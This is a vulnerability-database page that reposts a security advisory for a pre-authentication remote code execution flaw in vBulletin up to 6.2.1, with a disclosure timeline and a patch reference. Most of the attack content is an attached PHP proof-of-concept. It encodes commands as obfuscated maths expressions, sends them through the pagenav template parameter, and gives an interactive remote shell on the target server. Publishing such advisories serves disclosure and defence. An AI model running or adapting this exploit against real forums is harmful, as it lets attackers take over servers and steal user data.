Lucene search
+L

📄 vBulletin 6.2.1 Remote Code Execution

🗓️ 27 Jul 2026 00:00:00Reported by EgiXType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 7 Views

VBulletin versions up to 6.2.1 allow pre authentication remote code execution via crafted maths expressions evaluated by the runtime.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-61511
27 Jul 202612:39
attackerkb
Circl
CVE-2026-61511
27 Jul 202608:21
circl
CVE
CVE-2026-61511
27 Jul 202612:39
cve
Cvelist
CVE-2026-61511 vBulletin < 6.2.2 Eval Injection RCE via vb5/template/runtime.php
27 Jul 202612:39
cvelist
EUVD
EUVD-2026-49312
27 Jul 202612:39
euvd
NVD
CVE-2026-61511
27 Jul 202614:16
nvd
Positive Technologies
PT-2026-64909
27 Jul 202600:00
ptsecurity
The Hacker News
Public Exploit Released for Patched vBulletin Pre-Auth Code Execution Flaw
27 Jul 202614:40
thn
Vulnrichment
CVE-2026-61511 vBulletin < 6.2.2 Eval Injection RCE via vb5/template/runtime.php
27 Jul 202612:39
vulnrichment
-----------------------------------------------------------------
    vBulletin <= 6.2.1 (runMaths) Remote Code Execution Vulnerability
    -----------------------------------------------------------------
    
    
    [-] Software Link:
    
    https://www.vbulletin.com
    
    
    [-] Affected Versions:
    
    Version 5.7.5 and prior 5.x versions.
    Version 6.2.1 and prior 6.x versions.
    
    
    [-] Vulnerability Description:
    
    The vulnerable code is located within the
    /includes/vb5/template/runtime.php script. Specifically, into the
    vB5_Template_Runtime::runMaths() method: the $str parameter is not
    sufficiently sanitized before being used in an eval() call. The regex used
    to validate the input parameter will filter the string only allowing for
    digits, parentheses, math and binary operators (the XOR, particularly). As
    such, this can be exploited to inject and execute (semi) arbitrary PHP code
    through "phpfuck" techniques. The vulnerability could be exploited by e.g.
    administrator users, by editing a template/style in the admin panel and
    adding a specially crafted {vb:math} tag (which is a sort of wrapper around
    the vB5_Template_Runtime::runMaths() method). However, this can also be
    exploited by unauthenticated attackers by abusing the
    ajax/render/[template] route, rendering a template which uses the {vb:math}
    tag with an user-tainted parameter. One of the possible templates that can
    be abused that way is the default "pagenav" template: here, user input
    passed through the "pagenav[pagenumber]" parameter will be assigned to the
    "pagenav.currentpage" template variable, which is later used within a
    {vb:math} tag, thus passed to the vB5_Template_Runtime::runMaths() method,
    which in turn will pass this string to eval(), eventually resulting in
    execution of (semi) arbitrary PHP code on the web server.
    
    
    [-] Proof of Concept:
    
    https://karmainsecurity.com/pocs/CVE-2026-61511.php
    
    
    [-] Solution:
    
    Apply the vendor patch or upgrade to version 6.2.2 or later.
    
    
    [-] Disclosure Timeline:
    
    [25/06/2026] - Vendor was notified by SSD Secure Disclosure
    [30/06/2026] - Vendor released security patch to address this issue:
    https://tinyurl.com/vb-patch
    [01/07/2026] - Vendor released version 6.2.2: https://tinyurl.com/vb-622
    [13/07/2026] - CVE identifier requested
    [13/07/2026] - CVE identifier assigned
    [27/07/2026] - Public disclosure
    
    
    [-] CVE Reference:
    
    CVE-2026-61511 has been assigned to this vulnerability.
    
    
    [-] Credits:
    
    Vulnerability discovered by Egidio Romano.
    
    
    [-] Original Advisory:
    
    https://karmainsecurity.com/KIS-2026-13
    
    
    [-] Other References:
    
    https://ssd-disclosure.com/vbulletin-runtime-template-runmaths-preauth-rce/
    
    
    --- packet storm attached poc ---
    <?php
    
    /*
        -----------------------------------------------------------------
        vBulletin <= 6.2.1 (runMaths) Remote Code Execution Vulnerability
        -----------------------------------------------------------------
        
        author..............: Egidio Romano aka EgiX
        mail................: n0b0d13s[at]gmail[dot]com
        software link.......: https://www.vbulletin.com
        
        +-------------------------------------------------------------------------+
        | This proof of concept code was written for educational purpose only.    |
        | Use it at your own risk. Author will be not responsible for any damage. |
        +-------------------------------------------------------------------------+
        
        [-] Original Advisory:
    
        https://karmainsecurity.com/KIS-2026-13
    */
    
    set_time_limit(0);
    error_reporting(E_ERROR);
    
    print "+---------------------------------------------------------------------+\n";
    print "| vBulletin <= 6.2.1 (runMaths) Remote Code Execution Exploit by EgiX |\n";
    print "+---------------------------------------------------------------------+\n";
    
    if (!extension_loaded("curl")) die("\n[+] cURL extension required!\n");
    
    if ($argc != 2)
    {
        print "\nUsage......: php $argv[0] <URL>\n";
        print "\nExample....: php $argv[0] http://localhost/vb/";
        print "\nExample....: php $argv[0] https://vbulletin.com/\n\n";
        die();
    }
    
    function encodeChar($char)
    {
        $numbers = ['0' => '(0)', '1' => '(1)', '2' => '(2)', '3' => '(3)', '4' => '(4)', '5' => '(5)', '6' => '(6)', '7' => '(7)', '8' => '(8)', '9' => '(9)'];
        
        $char = strval(ord($char));
    
        for ($i = 0; $i < strlen($char); $i++) $ret .= $numbers[$char[$i]] . '.';
    
        return rtrim($ret, '.');
    }
    
    function makePayload($function, $param)
    {
        $chr_fun = '((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))';
        
        foreach (str_split($function) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';
        
        $ret = "(" . rtrim($ret, '.') . ')((';
        
        foreach (str_split($param) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';
    
        return rtrim($ret, '.') . '))';
    }
    
    $curl   = curl_init();
    $params = ["routestring" => "ajax/render/pagenav"];
    
    curl_setopt($curl, CURLOPT_URL, $argv[1]);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
    //curl_setopt($curl, CURLOPT_PROXY, "http://127.0.0.1:8080");
    
    while(1)
    {
        print "\nvb-shell# ";
        if (($cmd = trim(fgets(STDIN))) == "exit") break;
        $cmd .= "; echo _____";
        $params["pagenav[pagenumber]"] = makePayload("system", $cmd);
        curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));
        preg_match('/_____(.*)_____/s', curl_exec($curl), $m) ? print $m[1] : die("\n[+] Exploit failed!\n\n");
    }

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Jul 2026 00:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 49.3
CVSS 3.19.8
SSVC
7